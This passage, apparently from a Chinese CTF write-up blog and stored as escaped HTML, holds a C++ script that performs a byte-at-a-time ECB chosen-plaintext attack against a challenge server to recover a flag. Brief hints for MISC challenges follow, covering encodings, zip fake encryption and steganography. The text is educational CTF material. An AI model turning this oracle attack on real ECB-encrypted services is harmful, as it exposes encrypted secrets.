class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;WinSock2.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cstdio\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003epragma\u003c/span\u003e comment(lib,\u003cspan class=\"meta-string\"\u003e\u0026#34;Ws2_32.lib \u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e ECB_Atack {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSOCKET server;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003eread\u003c/span\u003e\u003cspan class=\"params\"\u003e(string \u0026amp;i)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e2048\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(buffer, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e buffer);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003erecv\u003c/span\u003e(server, buffer, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(buffer), \u003cspan class=\"number\"\u003e0\u003c/span\u003e) == SOCKET_ERROR) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(server);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;read error\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei = buffer;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e())\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eput\u003c/span\u003e\u003cspan class=\"params\"\u003e(string m)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (m[m.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e() - \u003cspan class=\"number\"\u003e1\u003c/span\u003e] != \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e)m += \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;[message send]\u0026#34;\u003c/span\u003e \u0026lt;\u0026lt; m;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003esend\u003c/span\u003e(server, m.\u003cspan class=\"built_in\"\u003ec_str\u003c/span\u003e(), m.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(), \u003cspan class=\"number\"\u003e0\u003c/span\u003e) == SOCKET_ERROR) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(server);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;put error\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eSleep\u003c/span\u003e(\u003cspan class=\"number\"\u003e150\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003estring \u003cspan class=\"title\"\u003eexpect_reply\u003c/span\u003e\u003cspan class=\"params\"\u003e(string message)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eput\u003c/span\u003e(message);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eread\u003c/span\u003e(message);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e message;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e visible_char[] = \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34; 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\\u0026#34;#$%\u0026amp;\\\\\\\u0026#39;()*+,-./:;\u0026lt;=\u0026gt;?@[\\\\]^_`{|}~\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estring banner_encrypted;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estring flag_uncovered;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eECB_Atack_main\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWSAData wd;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"built_in\"\u003eWSAStartup\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eMAKEWORD\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e), \u0026amp;wd));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estring message;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estring name;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e30\u003c/span\u003e; i \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--) {\u003cspan class=\"comment\"\u003e//30=14+16\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eECB_Atack::server = \u003cspan class=\"built_in\"\u003esocket\u003c/span\u003e(AF_INET, SOCK_STREAM, IPPROTO_TCP);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSOCKADDR_IN addrServ;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eaddrServ.sin_family = AF_INET;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eaddrServ.sin_port = \u003cspan class=\"built_in\"\u003ehtons\u003c/span\u003e(\u003cspan class=\"number\"\u003e9997\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eaddrServ.sin_addr.S_un.S_addr = \u003cspan class=\"built_in\"\u003einet_addr\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;123.56.218.81\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e ret = \u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(ECB_Atack::server, (SOCKADDR*)\u0026amp;addrServ, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(SOCKADDR));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (SOCKET_ERROR == ret) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;socket connect failed\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(ECB_Atack::server);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ename = \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; i; j++)name += \u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eECB_Atack::\u003cspan class=\"built_in\"\u003eread\u003c/span\u003e(message);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eECB_Atack::\u003cspan class=\"built_in\"\u003eput\u003c/span\u003e(name);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eECB_Atack::\u003cspan class=\"built_in\"\u003eread\u003c/span\u003e(message);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estring encrypted_banner = message.\u003cspan class=\"built_in\"\u003esubstr\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, message.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\n\u0026#34;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estring constructed_banner = \u003cspan class=\"string\"\u003e\u0026#34;hello, \u0026#34;\u003c/span\u003e + name + \u003cspan class=\"string\"\u003e\u0026#34;, your mission\u0026#39;s flag is: \u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e known_bits = constructed_banner.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e() % \u003cspan class=\"number\"\u003e16\u003c/span\u003e;\u003cspan class=\"comment\"\u003e//block size\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//check valid;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eECB_Atack::\u003cspan class=\"built_in\"\u003eput\u003c/span\u003e(constructed_banner.\u003cspan class=\"built_in\"\u003esubstr\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e16\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eECB_Atack::\u003cspan class=\"built_in\"\u003eread\u003c/span\u003e(message);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emessage = message.\u003cspan class=\"built_in\"\u003esubstr\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, message.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\n\u0026#34;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (encrypted_banner.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(message) == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eassert\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;what the...\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//jump to last block\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estring last_block = \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econstructed_banner.\u003cspan class=\"built_in\"\u003esubstr\u003c/span\u003e(\u003cspan class=\"number\"\u003e16\u003c/span\u003e * \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u003c/span\u003e(constructed_banner.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e() / \u003cspan class=\"number\"\u003e16\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estring payload = last_block + ECB_Atack::flag_uncovered;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e96\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eECB_Atack::\u003cspan class=\"built_in\"\u003eput\u003c/span\u003e(payload + ECB_Atack::visible_char[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eECB_Atack::\u003cspan class=\"built_in\"\u003eread\u003c/span\u003e(message);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emessage = message.\u003cspan class=\"built_in\"\u003esubstr\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, message.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\n\u0026#34;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (encrypted_banner.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(message)!=\u003cspan class=\"number\"\u003e-1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eECB_Atack::flag_uncovered += ECB_Atack::visible_char[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(ECB_Atack::server);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; ECB_Atack::flag_uncovered;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"MISC\"\u003eMISC\u003c/h2\u003e\u003ch4 id=\"BASE64\"\u003eBASE64\u003c/h4\u003e\u003cp\u003e如题目要求,将文本进行base64解码即可得到flag\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e题外话:熟悉base64,32,16编码的过程对RE帮助极大\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"凯撒密码\"\u003e凯撒密码\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e密码学(?)的鼻祖(?)凯撒将凯撒密码用于战争中的密令传递,开辟了(???)新的战争空间(胡诌)\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e将每一位拉丁字母按a-z的顺序向后推即可\u003cbr/\u003e遇到题目中没有给出密钥的情况。。。可以把26种可能全打出来找合理的\u003c/p\u003e\u003cp\u003e####栅栏密码\u003c/p\u003e\u003cp\u003e错位重组\u003cbr/\u003e遇到栅栏密码加密过的字符串s时可以优先尝试密钥divisor(|s|),其中divisor(x)表示的因数\u003c/p\u003e\u003ch4 id=\"zip伪加密\"\u003ezip伪加密\u003c/h4\u003e\u003cp\u003e先修复加密位,将单数改成双数(00)\u003cbr/\u003e修复了加密位的我一脸懵逼,直到我向shell里输入了\u003c/p\u003e\u003cfigure class=\"highlight plain\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ebinwalk zip\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e欸。。。怎么没有zip头。。。\u003cbr/\u003e修复zip头,拿flag\u003c/p\u003e\u003ch4 id=\"backdoor\"\u003ebackdoor\u003c/h4\u003e\u003cp\u003e流量分析\u003cbr/\u003e看到50 4B的那一刻就跳起来了\u003c/p\u003e\u003ch4 id=\"弄脏的二维码\"\u003e弄脏的二维码\u003c/h4\u003e\u003cp\u003e修复定位符,剩下的交给QR code的容错\u003c/p\u003e\u003ch4 id=\"蒙娜丽圆的微笑\"\u003e蒙娜丽圆的微笑\u003c/h4\u003e\u003cp\u003eemmmmm\u003cbr/\u003e小圆圆!小圆圆!\u003cbr/\u003e拿ps或者其他什么逐帧浏览\u003c/p\u003e\u003ch4 id=\"miku’s-secret\"\u003emiku’s secret\u003c/h4\u003e\u003cp\u003e收集隐写工具大比拼\u003cbr/\u003e这个工具\u003cbr/\u003elsb隐写,密钥在二维码里\u003c/p\u003e\u003ch2 id=\"PPC\"\u003ePPC\u003c/h2\u003e\u003cp\u003eemmmmm 这PPC跟我想象的不太一样啊\u003c/p\u003e\u003ch4 id=\"BAT\"\u003eBAT\u003c/h4\u003e\u003cp\u003e无脑编程题,没本事拿bat解。\u003c/p\u003e\u003ch4 id=\"Cirno\"\u003eCirno\u003c/h4\u003e\u003cp\u003e本来特别兴奋,多年闲置着的计算表达式的值的函数终于派上用场了,结果人家py自带计算表达式的值。\u003cbr/\u003e不管不管嘤嘤嘤我就拿 C in CPP\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan 